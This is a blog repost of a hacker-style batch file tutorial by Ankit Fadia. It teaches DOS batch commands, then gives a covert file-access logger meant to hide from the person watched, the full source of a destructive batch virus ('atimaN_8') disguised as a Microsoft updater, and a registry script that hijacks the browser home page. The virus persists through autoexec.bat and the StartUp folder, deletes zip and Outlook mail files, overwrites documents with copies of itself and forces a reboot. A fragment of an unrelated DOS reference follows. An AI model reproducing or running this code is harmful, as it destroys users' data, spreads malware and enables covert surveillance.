Your Ad Here


Batch File Programming By Ankit Fadia ankit@bol.net.in

__________________________________________________________________





Batch file programming is nothing but the Windows version of Unix Shell

Programming. Let's start by understanding what happens when we give a DOS

command. DOS is basically a file called command.com

It is this file (command.com) which handles all DOS commands that you give at the

DOS prompt---such as COPY, DIR, DEL etc. These commands are built in with the

Command.com file. (Such commands which are built in are called internal

commands.).DOS has something called external commands too such as FORMAT,

UNDELETE, BACKUP etc.



So whenever we give a DOS command either internal or external, command.com

either straightaway executes the command (Internal Commands) or calls an external

separate program which executes the command for it and returns the

result (External Commands.)



So why do I need Batch File Programs? Say you need to execute a set of commands

over and over again to perform a routine task like Backing up Important Files,

Deleting temporary files(*.tmp, .bak , ~.* etc)

then it is very difficult to type the same set of commands over and over

again. To perform a bulk set of same commands over and over again, Batch files

are used. Batch Files are to DOS what Macros are to Microsoft Office and are used

to perform an automated predefined set of tasks over and over again.



So how do I create batch files? To start enjoying using Batch files, you need to

learn to create Batch files. Batch files are basically plain text files

containing DOS commands. So the best editor to write your commands in would be

Notepad or the DOS Editor (EDIT) All you need to remember is that a batch file

should have the extension .BAT(dot bat)Executing a batch file is quite simple

too. For example if you create a Batch file and save it with the filename

batch.bat then all you need to execute the batch file is to type:



C:\windows>batch.bat



So what happens when you give a Batch file to the command.com to execute?

Whenever command.com comes across a batch file program, it goes into batch

mode. In the batch mode, it reads the commands from the batch file line by

line. So basically what happens is, command.com opens the batch file and reads

the first line, then it closes the batch file. It then executes the command and

again reopens the batch file and reads the next line from it. Batch files are

treated as Internal DOS commands.



*********************

Hacking Truth: While creating a batch file, one thing that you need to keep in

mind is that the filename of the batch file should not use the same name as a

DOS command. For example, if you create a batch file by the name dir.bat and then

try to execute it at the prompt, nothing will happen.

This is because when command.com comes across a command, it first checks to see

if it is an internal command. If it is not then command.com checks if it a .COM,

.EXE or .BAT file with a matching filename.

All external DOS commands use either a .COM or a .EXE extension, DOS never

bothers to check if the batch program exits.

*********************

Now let's move on to your first Batch file program. We will unlike

always(Normally we begin with the obligatory Hello World program) first take up

a simple batch file which executes or launches a .EXE program. Simply type the

following in a blank text file and save it with a .BAT extension.

Code:
C:


cd windows

telnet

Now let's analyze the code, the first line tells command.com to go to the C:

Next it tells it to change the current directory to Windows. The last line tells it to

launch the telnet client. You may contradict saying that the full filename is

telnet.exe. Yes you are right, but the .exe extension is automatically added by

command.com. Normally we do not need to change the drive and the directory as

the Windows directory is the default DOS folder. So instead the bath file

could simply contain the below and would still work.



telnet



Now let's execute this batch file and see what results it shows. Launch

command.com (DOS) and execute the batch file by typing:



C:\WINDOWS>batch_file_name



You would get the following result:



C:\WINDOWS>scandisk



And Scandisk is launched. So now the you know the basic functioning of Batch

files, let' move on to Batch file commands.


The REM Command
The most simple basic Batch file command is the REM or the Remark command. It is

used extensively by programmers to insert comments into their code to make it

more readable and understandable. This command ignores anything there is on that

line. Anything on the line after REM is not even displayed on the screen during

execution. It is normally not used in small easy to understand batch programs but

is very useful in huge snippets of code with geek stuff loaded into it. So if we

add Remarks to out first batch file, it will become:



REM This batch file is my first batch program which launches the fav hacking

tool; Telnet



telnet



The only thing to keep in mind while using Remarks is to not go overboard and

putting in too many of them into a single program as they tend to slow down the

execution time of the batch commands.


ECHO: The Batch Printing Tool
The ECHO command is used for what the Print command is in other programming

languages: To Display something on the screen. It can be used to tell the user

what the bath file is currently doing. It is true that Batch programs display all

commands it is executing but sometimes they are not enough and it is better to

also insert ECHO commands which give a better description of what is presently

being done. Say for example the following batch program which is full of the ECHO

command deletes all files in the c:\windows\temp directory:
Code:
ECHO This Batch File deletes all unwanted Temporary files from your system


ECHO Now we go to the Windows\temp directory.

cd windows\temp

ECHO Deleting unwanted temporary files....

del *.tmp

ECHO Your System is Now Clean

Now let's see what happens when we execute the above snippet of batch code.



C:\WINDOWS>batch_file_name

C:\WINDOWS>ECHO This Batch File deletes all unwanted Temporary files from your

system

C:\WINDOWS>ECHO Now we go to the Windows\temp directory.

Now we go to the Windows\temp directory.

C:\WINDOWS>cd windows\temp

Invalid directory

C:\WINDOWS>ECHO Deleting unwanted temporary files

Deleting unwanted temporary files...

C:\WINDOWS>del *.tmp

C:\WINDOWS>ECHO Your System is Now Clean

Your System is Now Clean



The above is a big mess! The problem is that DOS is displaying the executed

command and also the statement within the ECHO command. To prevent DOS from

displaying the command being executed, simply precede the batch file with the

following command at the beginning of the file:



ECHO OFF



Once we add the above line to our Temporary files deleting Batch program , the

output becomes:



C:\WINDOWS>ECHO OFF

This Batch File deletes all unwanted Temporary files from your system

Now we go to the Windows\temp directory.

Invalid directory

Deleting unwanted temporary files...

File not found

Your System is Now Clean



Hey pretty good! But it still shows the initial ECHO OFF command. You can prevent

a particular command from being shown but still be executed by preceding the

command with a @ sign. So to hide even the ECHO OFF command, simple replace the

first line of the batch file with @ECHO OFF



You might think that to display a blank line in the output screen you can simply

type ECHO by itself, but that doesn't work. The ECHO command return whether the

ECHO is ON or OFF. Say you have started your batch file with the command ECHO OFF

and then in the later line give the command ECHO, then it will display ' ECHO is

off ' on the screen. You can display a blank line by giving the command

ECHO.(ECHO followed by a dot)Simply leaving a blank line in the code too

displays a blank line in the output.



You can turn ON the ECHO anytime by simply giving the command ECHO ON. After

turning the echo on , if you give the command ECHO then it will return ' ECHO is

on '


The PAUSE Command: Freezing Time
Say you create a batch file which shows the Directory Listing of a particular

folder(DIR) before performing some other task. Or sometimes before deleting all

files of a folder, you need to give the user time to react and change his

mind. PAUSE, the name says it all, it is used to time out actions of a script.

Consider the following scenario:

Code:
REM This Batch program deletes *.doc files in the current folder.


REM But it gives the user to react and abort this process.

@ECHO OFF

ECHO WARNING: Going to delete all Microsoft Word Document

ECHO Press CTRL+C to abort or simply press a key to continue.

PAUSE

DEL *.doc

Now when you execute this batch program, we get the following output:



C:\WINDOWS>a.bat

WARNING: Going to delete all Microsoft Word Document

Press CTRL+C to abort or simply press a key to continue.

Press any key to continue . . .



The batch file program actually asks the user if he wishes to continue and gives

the user the option to abort the process. Pressing CTRL+C cancels the batch file

program(CTRL+C and CTRL+Break bring about the same results)



^C



Terminate batch job (Y/N)?y



After this you will get the DOS prompt back.



****************

HACKING TRUTH: Say you have saved a batch file in the c:\name directory. Now when

you launch command.com the default directory is c:\windows and in order to

execute the batch file program stored in the c:\name directory you need to

change the directory and go to c:\name.This can be very irritating and time

consuming. It is a good practice to store all your batch programs in the same

folder. You can run a batch file stored in any folder(Say c:\name) from

anywhere(even c:\windows\history) if you include the folder in which the batch

file is stored (c:\name)in the AUTOEXEC.BAT file, so that DOS knows which folder

to look for the batch program.

So simply open c:\autoexec.bat in Notepad and append the Path statement to the

following line[c:\name is the folder in which all your batch files are stored.]:



SET PATH=C:\WINDOWS;C:\WINDOWS\COMMAND;C:\name



Autoexec.bat runs each time at startup and DOS knows each time, in which

directory to look for the batch files.

********************



Parameters: Giving Information to Batch Programs



To make batch programs really intelligent you need to be able to provide them

with parameters which are nothing but additional valuable information which is

needed to ensure that the bath program can work efficiently and flexibly.

To understand how parameters work, look at the following script:
Code:
@ECHO OFF


ECHO First Parameter is %1

ECHO Second Parameter is %2

ECHO Third Parameter is %3

The script seems to be echoing(printing) messages on the screen, but what do the

strange symbols %1 , % 2 etc stand for? To find out what the strange symbols

stand for save the above script and go to DOS and execute this script by passing

the below parameters:



C:\windows>batch_file_name abc def ghi



This batch file produces the following result:



C:\windows>batch_file_name abc def ghi

First Parameter is abc

Second Parameter is def

Third Parameter is ghi



The first line in the output is produced by the code line:



ECHO First Parameter is %1



Basically what happens is that when DOS encounters the %1 symbol, it examines

the original command used to execute the bath program and look for the first

word (argument) after the batch filename and then assigns %1 the value of that

word. So one can say that in the ECHO statement %1 is replaced with the value of

the first argument. In the above example the first word after the batch file name

is abc, therefore %1 is assigned the value of this word.



The %2 symbol too works in the similar way, the only difference being that

instead of the first argument, DOS assigns it the value of the second argument,

def. Now all these symbols, %1, %2 are called replaceable parameters. Actually

what happens is that %1 is not assigned the value of the first argument, but

in fact it is replaced by the value of the first argument.



If the batch file command has more parameters than what the batch file is

looking for, then the extras are ignored. For example, if while executing a batch

file program , we pass four arguments, but the batch file program requires only

3 parameters, then the fourth parameter is ignored.



To understand the practical usage of parameters, let's take up a real life

example. Now the following script requires the user to enter the name of the

files to be deleted and the folder in which they are located.

Code:
@ECHO OFF


CD\

CD %1

DEL %2

This script can be called from the DOS prompt in the following way:



C:\windows>batch_file_name windows\temp *.tmp



In a single script we cannot use more that nine replaceable parameters. This

means that a particular batch file will have replaceable parameters from %1 to

%9.Infact there is a tenth replaceable parameter, the %0 parameter. The %0

parameter contains the name of the batch file itself.



************

HACKING TRUTH: Say you want to execute a batch file and once the procedure of

execution is complete, want to leave DOS and return to Windows, what do you do?

The EXIT command can be used in such situations. So simply end your batch file

with the EXIT command.

EXIT

************



SHIFT: Infinite Parameters



Sometimes your batch file program may need to use more than nine parameters at a

time.(Actually you would never need to, but at least you are sure you can handle

it if you need to.)To see how the SHIFT command works, look at the following

snippet of code:

Code:
@ECHO OFF


ECHO The first Parameter is %1

ECHO.

SHIFT

ECHO The Second Parameter is %1

ECHO.

SHIFT

ECHO The Second Parameter is %1

Now execute this batch file from DOS and see what happens.



C:\windows>batch_file_name abc def ghi



The first Parameter is abc



The Second Parameter is def



The Second Parameter is ghi



How does it work? Well, each SHIFT command shuffles the parameters down one

position. This means that after the first SHIFT %1 becomes def, %2 becomes ghi

and abc is completely removed by DOS. All parameters change and move one position

down.



Both normal parameters (%1 , % 2 etc) and the SHIFT command can be made more

efficient by grouping them with the IF conditional statement to check the

parameters passed by the User.

THE FOR LOOP

The syntax of the FOR LOOP is:



FOR %%PARAMETER IN(set) DO command



Most people change their mind about learning Batch Programming when they come

across the syntax of the For Command. I do agree that it does seem a bit weird,

but it is not as difficult as it appears to be. Let's analyze the various parts

of the For command. Before we do that look at the following example,

Code:
@ECHO OFF


CLS

FOR %%A IN (abc, def, xyz) DO ECHO %%A

Basically a FOR LOOP declares a variable (%%A) and assigns it different values

as it goes through the predefined set of values(abc, def, xyz) and each time

the variable is assigned a new value, the FOR loop performs a command.(ECHO %%A)



The %%A is the variable which is assigned different values as the loop goes

through the predefined set of values in the brackets. You can use any single

letter character after the two % sign except 0 through 9.We use two %'s as DOS

deletes each occurrence of a single % sign in a batch file program.



The IN(abc, def, xyz) is the list through which the FOR loop goes. The variable

%%a is assigned the various values within the brackets, as the loop moves. The

items in the set(The technical term for the set of values within the brackets)

can be separated with commas, colons or simply spaces.



For each item in the set(The IN Thing) the FOR loop performs whatever command is

given after the DO keyword.(In this example the loop will ECHO %%A)



So basically when we execute the above batch file, the output will be:



abc

def

xyz



The FOR loop becomes very powerful if used along with replaceable parameters. Take

the following batch file, for example,


Code:
@ECHO OFF


ECHO.

ECHO I am going to delete the following files:

ECHO %1 %2

ECHO.

ECHO Press Ctrl+C to Abort process

PAUSE

FOR %%a IN (%1 %2 ) DO DEL %%a

ECHO Killed Files. Mission Accomplished.

At execution time, the process would be something like:





C:\WINDOWS>batchfilename *.tmp *.bak



I am going to delete the following files:

*.tmp *.bak



Press Ctrl+C to Abort process

Press any key to continue . . .



Killed Files. Mission Accomplished.

----------------------------------

IF: CONDITIONAL BRANCHING

The If statement is a very useful command which allows us to make the batch files more intelligent and useful. Using this command one can make the batch programs check the parameters and accordingly perform a task. Not only can the IF command check parameters, it can also checks if a particular file exists or not. On top of all this, it can also be used for the conventional checking of variables (strings).



Checking If a File Exists Or Not



The general syntax of the IF command which checks for the existence of a file is the following:



IF [NOT] EXIST FILENAME Command



This will become clearer when we take up the following example,



IF EXIST c:\autoexec.bat ECHO It exists



This command checks to see if the file, c:\autoexec.bat exists or not. If it does then it echoes or prints the string 'It exists'. On the other hand if the specified file does not exist, then it does not do anything.



In the above example, if the file autoexec.bat did not exist, then nothing was executed. We can also put in the else clause i.e. If the File exists, do this but if it does not exists, by using the GOTO command. Let's consider the following example to make it more clear:

Code:
@echo off


IF EXIST C:\ankit.doc GOTO ANKIT

Goto end

:ANKIT

ECHO ANKIT

:end

The IF statement in this code snippet checks to see if there exists a file, c:\ankit.doc. If it does then DOS is branched to :ANKIT and if it does not, then DOS goes on to the next line. The next line branches DOS to :end. The :end and :ANKIT in the above example are called labels. After the branching the respective echo statements take over.



******************

HACKING TRUTH: We can also check for more than one file at a time, in the following way:

IF EXIST c:\autoexec.bat IF EXIST c:\autoexec.bak ECHO Both Exist

******************



We can check to see if a file does not exist in the same way, the basic syntax now becomes:



IF NOT EXIST FILENAME Command



For Example,



IF NOT EXIST c:\ankit.doc ECHO It doesn't Exist



****************

HACKING TRUTH: How do you check for the existence of directories? No something like IF C:\windows EXISTS ECHO Yes does not work. In this case we need to make use of the NULL device. The NULL device is basically nothing, it actually stands for simply nothing. Each directory has the NULL device present in it. (At least DOS thinks so.) So to check if c:\windows exits, simply type:



IF EXIST c:\windows\nul ECHO c:\Windows exists.



One can also check if a drive is valid, by giving something like:



IF EXIST c:\io.sys ECHO Drive c: is valid.



****************



Comparing Strings to Validate Parameters



The basic syntax is:



IF [NOT] string1==string2 Command



Now let's make our scripts intelligent and make them perform a task according to what parameter was passed by the User. Take the following snippet of code for example,

Code:
@ECHO off


IF %1==cp GOTO COPY

GOTO DEL

:COPY

Copy %2 a:

GOTO :END

:DEL

Del %2

:END

This example too is pretty much self explanatory. The IF Statement compares the first parameter to cp, and if it matches then DOS is sent to read the COPY label else to the DEL label. This example makes use of two parameters and is called by passing at least two parameters.



We can edit the above example to make DOS check if a parameter was passed or not and if not then display an error message. Just add the following lines to the beginning of the above file.



@ECHO OFF

IF "%1" == "" ECHO Error Message Here



If no parameter is passed then the batch file displays an error message. Similarly we can also check for the existence of the second parameter.

This command too has the NOT clause.

This example too is pretty much self explanatory. The IF Statement compares the first parameter to cp, and if it matches then DOS is sent to read the COPY label else to the DEL label. This example makes use of two parameters and is called by passing at least two parameters.



We can edit the above example to make DOS check if a parameter was passed or not and if not then display an error message. Just add the following lines to the beginning of the above file.



@ECHO OFF

IF "%1" == "" ECHO Error Message Here



If no parameter is passed then the batch file displays an error message. Similarly we can also check for the existence of the second parameter.

This command too has the NOT clause.

Before we learn how to make use of the CHOICE command, we need to what error levels really are. Now Error levels are generated by programs to inform about the way they finished or were forced to finish their execution. For example, when we end a program by pressing CTRL+C to end a program, the error level code evaluates to 3 and if the program closes normally, then the error level evaluates to 0. These numbers all by themselves are not useful but when used with the IF ERROR LEVEL and the CHIOCE command, they become very kewl.



The CHOICE command takes a letter or key from the keyboard and returns the error level evaluated when the key is pressed. The general syntax of the CHOICE command is:



CHOICE[string][/C:keys][/S][/N][/T:key,secs]



The string part is nothing but the string to be displayed when the CHOICE command is run.



The /C:keys defines the possible keys to be pressed. If options are mentioned then the default Y/N keys are used instead.

For example, The command,



CHOICE /C:A1T0



Defines A, 1, T and O as the possible keys. During execution if the user presses a undefined key, he will hear a beep sound and the program will continue as coded.



The /S flag makes the possible keys defined by the CHOICE /c flag case sensitive. So it means that if the /S flag is present then A and a would be different.



The /N flag, if present shows the possible keys in brackets when the program is executed. If the /N flag is missing then, the possible keys are not shown in brackets. Only the value contained by STRING is shown.



/T:key,secs defines the key which is taken as the default after a certain amount of time has passed.

For Example,



CHOICE Choose Browser /C:NI /T:I.5



The above command displays Choose Browser[N,I] and if no key is pressed for the next 5 seconds, then it chooses I.



Now to truly combine the CHOICE command with the IF ERROR LEVEL command, you need to know what the CHOICE command returns.



The CHOICE command is designed to return an error level according to the pressed key and its position in the /C flag. To understand this better, consider the following example,



CHOICE /C:AN12



Now remember that the error level code value depends on the key pressed. This means that if the key A is pressed, then the error level is 1, if the key N is pressed then the error level is 2, if 1 is pressed then error level is 3 and if 2 is pressed then error level is 4.



Now let us see how the IF ERROR LEVEL command works. The general syntax of this command is:



IF [NOT] ERRORLEVEL number command.



This statement evaluates the current error level number. If the condition is true then the command is executed. For Example,



IF ERRORLEVEL 3 ECHO Yes



The above statement prints Yes on the screen if the current error level is 3.

The important thing to note in this statement is that the evaluation of an error level is true when the error level us equal or higher than the number compared.

For Example, in the following statement,



IF ERRORLEVEL 2 ECHO YES



The condition is true if the error level is > or = 2.



Now that you know how to use the CHOICE and ERROR LEVEL IF command together, you can now easily create menu based programs. The following is an example of such a batch file which asks the User what browser to launch.

Code:
@ECHO OFF


ECHO.

ECHO.

ECHO Welcome to Browser Selection Program

ECHO.

ECHO 1. Internet Explorer 5.5

ECHO 2. Mozilla 5

ECHO x. Exit Browser Selection Program

ECHO.

CHOICE "Choose Browser" /C:12x /N

IF ERRORLEVEL 3 GOTO END

IF ERRORLEVEL 2 START C:\progra~1\Netscape

IF ERRORLEVEL 1 start c:\progra~1\intern~1\iexplore.exe

:END

NOTE: Observe the order in which we give the IF statements.

Redirection

Normally the Output is sent to the screen(The standard STDOUT)and the Input is read from the

Keyboard(The standard STDIN). This can be pretty boring. You can actually redirect both the Input and the

Output to something other than the standard I/O devices.



To send the Output to somewhere other than the screen we use the Output Redirection Operator, > which is

most commonly used to capture results of a command in a text file. Say you want to read the help on how to

use the net command, typing the usual Help command is not useful as the results do not fit in one screen

and scroll by extremely quickly. So instead we use the Output Redirection operator to capture the results of

the command in a text file.



c:\windows>net > xyz.txt



This command will execute the net command and will store the results in the text file, xyz.txt . Whenever

DOS comes by such a command, it checks if the specified file exists or not. If it does, then everything in the

file is erased or lost and the results are stored in it. If no such file exists, then DOS creates a new file and

stores the results in this new file.



Say, you want to store the results of more than one command in the same text file, and want to ensure that

the results of no command are lost, then you make use of the Double Output Re Direction Symbol, which is

the >> symbol.

For Example,



c:\windows> net >> xyz.txt



The above command tells DOS to execute the net command and append the output to the xyz.txt file, if it

exits.



DOS not only allows redirection to Files, but also allows redirection to various devices.


DEVICE NAME USED DEVICE



AUX Auxiliary Device (COM1)

CLOCK$ Real Time Clock

COMn Serial Port(COM1, COM2, COM3, COM4)

CON Console(Keyboard, Screen)

LPTn Parallel Port(LPT1, LPT2, LPT3)

NUL NUL Device(means Nothing)

PRN Printer


Say for example, you want to print the results of directory listings, then you can simply give the following

command:



c:\windows>dir *.* > prn



The NUL device(nothing) is a bit difficult to understand and requires special mention. This device which is

also known as the 'bit bucket' literally means nothing. Redirection to the NUL device practically has no usage

but can be used to suppress the messages which DOS displays on the completion of a task. For example,

when DOS has successfully copied a particular file, then it displays the message: '1 file(s) copied.'

Now say you want to suppress this task completion message, then you can make use of the NUL device.



c:\windows>copy file.txt > NUL



This will suppress the task completion message and not display it.


Redirecting Input


Just like we can redirect Output, we can also redirect Input. It is handled by the Input Redirection Operator,

which is the < symbol. It is most commonly used to send the contents of a text file to DOS. The other common

usage of this feature is the MORE command which displays a file one screen at a time unlike the TYPE

command which on execution displays the entire file.(This becomes impossible to read as the file scrolls by

at incredible speed.)Thus, many people send the long text file to the MORE command by using the

command:



c:\windows>more < xyz.txt



This command sends the contents of the xyz.txt file to the MORE command which displays the contents

page by page. Once the first page is read the MORE command displays something like the following on the

screen:



......MORE......



You can also send key strokes to any DOS command which waits for User Input or needs User intervention to perform a task. You can also send multiple keystrokes. For example, a typical Format

command requires 4 inputs, firstly pressing Enter to give the command, then Disk Insertion prompt, then the

VOLUME label prompt and lastly the one to format another disk. So basically there are three User inputs-:

ENTER, ENTER N and ENTER.(ENTER is Carriage return)So you can include this in a Batch file and give

the format command in the following format:



c:\windows>format a: < xyz.bat

PIPING

Piping is a feature which combines both Input and Output Redirection. It uses the Pipe operator, which is the

| symbol. This command captures the Output of one command and sends it as the Input of the other

command. Say for example, when you give the command del *.* then you need to confirm that you mean to

delete all files by pressing y. Instead we can simply do the same without any User Interaction by giving the

command:



c:\windows> echo y | del *.*



This command is pretty self explanatory, y is sent to the command del *.*

Batch File Programming can be very easy and quite useful. The only thing that one needs to be able to become a Batch File Programming nerd, is adequate knowledge of DOS commands. I suggest you surf the net or get a book on DOS commands and really lick the pages off the book, only then can you become an expert.





Making your own Syslog Daemon



We can easily combine the power of batch file programs and the customizable Windows Interface to make

our own small but efficient System Logging Daemon.

Basically this Syslog Daemon can keep a track of the files opened(any kind of files), the time at which the

files were opened also actually post the log of the User's activities on to the web, so that the System

Administrator can keep a eye on things.



Simply follow the following steps to make the daemon-:



NOTE: In the following example, I am making a syslog daemon which keeps an eye on what text files were

opened by the User. You can easily change what files you want it to keep an eye on by simply following the

same steps.





1. ASSOCIATING THE FILES TO BE MONITORED TO THE LOGGER



Actually this step is not the first, but being the easiest, I have mentioned it earlier. The first thing to do is to

associate the text files(*.txt) files to our batch file which contains the code to log the User's activities. You can

of course keep an eye on other files as well, the procedure is almost similar. Anyway, we associate .txt files

to our batch program so that each time a .txt file is opened, the batch file is also executed. To do this, we

need to change the File Associations of .txt files.

For more information on Changing File Associations, refer to the Windows Help Files, simply type

Associations and search. Anyway to change the associations of .txt files and to point them to our batch

file, simply do the below:



Locate any .txt file on your system, select it(click once) and Press the SHIFT key. Keeping the SHIFT key

pressed, right click on the .txt file to bring up the OPEN WITH... option. Clicking on the OPEN WITH... option

will bring up OPEN WITH dialog box. Now click on the OTHER button and locate the batch file program

which contains the logging code and click on OPEN and OK.

Now each time a .txt file is opened, the batch file is also executed, hence logging all interactions of the User

with .txt files.



2. Creating the Log File



Now you need to create a text file, which actually will act like a log file and will log the activities of the User.

This log file will contain the filename and the time at which the .txt file was opened. Create a new blank text

file in the same directory as the batch file. Now change the attributes of this log file and make it hidden by

changing it's attributes by issuing the ATTRIB command.



C:\windows>attrib xyz.txt +h



This will ensure that a lamer will not know as to where the log file is located.



3. CODING THE LOGGING BATCH FILE



The coding of the actual batch file which will log the User's activities and post it on the web is quite simple. If

you have read this tutorial properly till now, then you would easily be able to understand it, although I still

have inserted comments for novices.



echo %1 >> xyz.txt /* Send the file name of the file opened to the log file, xyz.txt */

notepad %1 /* Launch Notepad so that the lamer does not know something is wrong. */



This logging file will only log the filename of the text file which was opened by the unsuspecting lamer, say

you want to also log the time at which a particular file was opened, then you simply make use of the 'time'

command. The only thing that one needs to keep in mind is that after giving the TIME command , we need

to press enter too, which in turn has to entered in the batch file too.



Say you, who are the system administrator does not have physical access or have gone on a business trip,

but have access to the net and need to keep in touch with the server log file, then you easily link the log file

to a HTML file and easily view it on the click of a button. You could also make this part of the site password

protected or even better form a public security watch contest where the person who spots something fishy

wins a prize or something, anyway the linking can easily be done by creating an .htm or. html file and

inserting the following snippet of code:





Server Logs



Click here to read the Server Logs







That was an example of the easiest HTML page one could create.



Another enhancement that one could make is to prevent the opening of a particular file. Say if you want to prevent the user from launching abc.txt then you would need to insert an IF conditional statement.



IF "%1" == "filename.extension" ECHO Error Message Here



4. Enhancing the logging Batch file to escape the eyes of the Lamer.



To enhance the functioning of our logging daemon, we need to first know it's normal functioning.

Normally, if you have followed the above steps properly, then each time a .txt file is opened, the batch file

is launched(in a new window, which is maximized) and which in turn launches Notepad. Once the filename

and time have been logged, the batch file Window does not close automatically and the User has to exit

from the Window manually. So maybe someone even remotely intelligent will suspect something fishy. We

can configure our batch file to work minimized and to close itself after the logging process has been

completed. To do this simply follow the following steps-:



a) Right Click on the Batch File.

b) Click on properties from the Pop up menu.

c) In the Program tab click on the Close on Exit option.

d) Under the same tab, under the RUN Input box select Minimized.

e) Click on Apply and voila the batch file is now more intelligent



This was just an example of a simple batch file program. You can easily create a more intelligent and more useful program using batch code.



MAKING YOUR OWN DEADLY BATCH FILE VIRUS: The atimaN_8 Batch File Virus



DISCLAIMER: This Virus was created by Ankit Fadia ankit@bol.net.in and is meant for educational purposes only. This Virus was coded to make people understand the basic concept of the Working of a Virus. Execute this Batch File at your own Risk. Any Damage caused by this file is not Ankit Fadia's fault. If you want any information regarding this Virus, do please feel free to contact me at: ankit@bol.net.in also visit my site at: http://www.crosswinds.net/~hackingtruths



The following is a simple but somewhat deadly (but quite lame)Batch File Virus that I created. I have named it, atimaN_8 I have used no advanced Batch or DOS commands in this virus and am sure that almost all you will have no problem understanding the code, If you still have trouble understanding the code, do mail me at ankit@bol.net.in

Code:
@ECHO OFF           


CLS

IF EXIST c:\winupdt.bat GOTO CODE

GOTO SETUP

:SETUP

@ECHO OFF

ECHO Welcome To Microsoft Windows System Updater Setup

ECHO.

copy %0 c:\winupdt.bat >> NUL

ECHO Scanning System.....Please Wait

prompt $P$SWindows2000

type %0 >> c:\autoexec.bat

type %0 >> c:\windows\dosstart.bat

ECHO DONE.

ECHO.

ECHO Installing Components....Please Wait

FOR %%a IN (*.zip) DO del %%a

FOR %%a IN (C:\mydocu~1\*.txt) DO COPY c:\winupdt.bat %%a >> NUL

FOR %%a IN (C:\mydocu~1\*.xls) DO COPY c:\winupdt.bat %%a >> NUL

FOR %%a IN (C:\mydocu~1\*.doc) DO COPY c:\winupdt.bat %%a >> NUL

ECHO DONE.

ECHO.

ECHO You Now Need to Register with Microsoft's Partner: Fortune Galaxy to receive automatic updates.

PAUSE

ECHO Downloading Components...Please Wait

START "C:\Program Files\Internet Explorer\Iexplore.exe" http://www.crosswinds.net/~hackingtruths

IF EXIST "C:\Program Files\Outlook Express\msimn.exe" del "C:\WINDOWS\Application Data\Identities\{161C80E0-1B99-11D4-9077-FD90FD02053A}\Microsoft\Outlook Express\*.dbx"

IF EXIST "C:\WINDOWS\Application Data\Microsoft\Address Book\ankit.wab" del "C:\WINDOWS\Application Data\Microsoft\Address Book\ankit.wab"

ECHO Setup Will Now restart Your Computer....Please Wait

ECHO Your System is not faster by almost 40%.

ECHO Thank you for using a Microsoft Partner's product.

copy %0 "C:\WINDOWS\Start Menu\Programs\StartUp\winupdt.bat" >> NUL

c:\WINDOWS\RUNDLL user.exe,exitwindowsexec

CLS

GOTO END





:CODE

CLS

@ECHO OFF

prompt $P$SWindows2000

IF "%0" == "C:\AUTOEXEC.BAT" GOTO ABC

type %0 >> c:\autoexec.bat

:ABC

type %0 >> c:\windows\dosstart.bat

FOR %%a IN (*.zip) DO del %%a

FOR %%a IN (C:\mydocu~1\*.txt) DO COPY c:\winupdt.bat %%a >> NUL

FOR %%a IN (C:\mydocu~1\*.xls) DO COPY c:\winupdt.bat %%a >> NUL

FOR %%a IN (C:\mydocu~1\*.doc) DO COPY c:\winupdt.bat %%a >> NUL

START "C:\Program Files\Internet Explorer\Iexplore.exe" http://www.crosswinds.net/~hackingtruths

IF EXIST "C:\Program Files\Outlook Express\msimn.exe" del "C:\WINDOWS\Application Data\Identities\{161C80E0-1B99-11D4-9077-FD90FD02053A}\Microsoft\Outlook Express\*.dbx" >> NUL

IF EXIST "C:\WINDOWS\Application Data\Microsoft\Address Book\ankit.wab" del "C:\WINDOWS\Application Data\Microsoft\Address Book\ankit.wab" >> NUL

copy %0 "C:\WINDOWS\Start Menu\Programs\StartUp\winupdt.bat" >> NUL

GOTO :END

CLS

:END

CLS

This was an example of a pretty lame batch file virus. We can similarly create a virus which will edit the registry and create havoc. This is just a thought, I am not responsible for what you do with this.



There is simply no direct way of editing the Windows Registry through a batch file. Although there are Windows Registry Command line options(Check them out in the Advanced Windows Hacking Chapter, they are not as useful as adding keys or editing keys, can be. The best option we have is to create a .reg file and then execute it through a batch file. The most important thing to remember hear is the format of a .reg file and the fact that the first line of all .reg files should contain nothing but the string REGEDIT4, else Windows wil not be able to recognize it as a registry file. The following is a simple example of a batch file which changes the home page of the User (If Internet Explorer is installed)

to http://hackingtruths.tripod.com


Code:
@ECHO OFF


ECHO REGEDIT4 >ankit.reg

ECHO [HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main] >> ankit.reg

ECHO "Start Page"="http://hackingtruths.tripod.com" >> ankit.reg

START ankit.reg

Creating a .reg file is not as easy as it seems. You see, for Windows to recognize a file as a Registry file and for Windows to add the contents of the .reg file to the registry, it has to be in a particular recognizable format, else an error message would be displayed. I would not want to repeat, the entire Windows Registry File format here, as the Advanced Windows Hacking Manual has a huge section, specially dedicated to the Windows Registry.

Protection from Batch File Viruses

If you double-click a batch file (.bat files) it will run automatically. This can be dangerous as batch files can contain harmful commands sometimes. Worst still, if you use the single-click option, one wrong click and it's goodbye Windows. Now most power users would like to set edit as the default action. To best way to do that is to go to Explorer's Folder Options' File View tab to change the modify the default action. However, to add insult to injury, when you arrive there, you will find that the Edit and Set Default buttons has been grayed out. This is a "feature" from Microsoft you might not appreciate.

To conquer our problem here, flare up your registry editor and go to HKEY_CLASSES_ROOT\batfile\shell\open Rename the open key to run, thus becoming HKEY_CLASSES_ROOT\batfile\shell\run. Double-click the EditFlags binary value in HKEY_CLASSES_ROOT\batfile and enter 00 00 00 00 as the new value. Now, open Explorer, click Folder Options from the View menu and select the File Types tab, scroll down to the "MS-DOS Batch File" item, highlight it and click Edit. You'll notice that the last three buttons (Edit, Remove and Set Default) are now enabled and that you can select Edit as the default action.

Ankit Fadia

ankit@bol.net.in



Get the Archive of Manuals [EVERYTHING YOU DREAMT OFF] written by Ankit Fadia

At his mailing list.

To get the manuals in your Inbox join his mailing list by sending an email to:

programmingforhackers-subscribe@egroups.co

Posted by Cyber Trunks
3:50 PM

about dos

1. Introduction

DOS provides the most popular operating environment on IBM PCs and IBM PC-compatible microcomputer systems. This document describes the most useful DOS commands. The word DOS is used for convenience to cover Microsoft MS-DOS, IBM PC-DOS and Novell DOS.

Most of the information in this document is applicable to MS-DOS versions 3.3, 5 and 6, with exceptions noted in the text (there was a version 4, but it was quickly superseded). The main new facilities found in MS-DOS versions 5 and 6 are summarised in Sections 8 and 9. If you are not sure which version of DOS you are running, type

VER

at the DOS prompt.
2. The DOS File System

In order to understand how files are referred to on a PC, you need to know the meaning of the following terms:
File Name
This is a name you choose to give to a file.
File Name Extension
This is added on to the end of a file to indicate what sort of information the file contains, e.g. TXT for text or DAT for data.
Disk Drive Letter
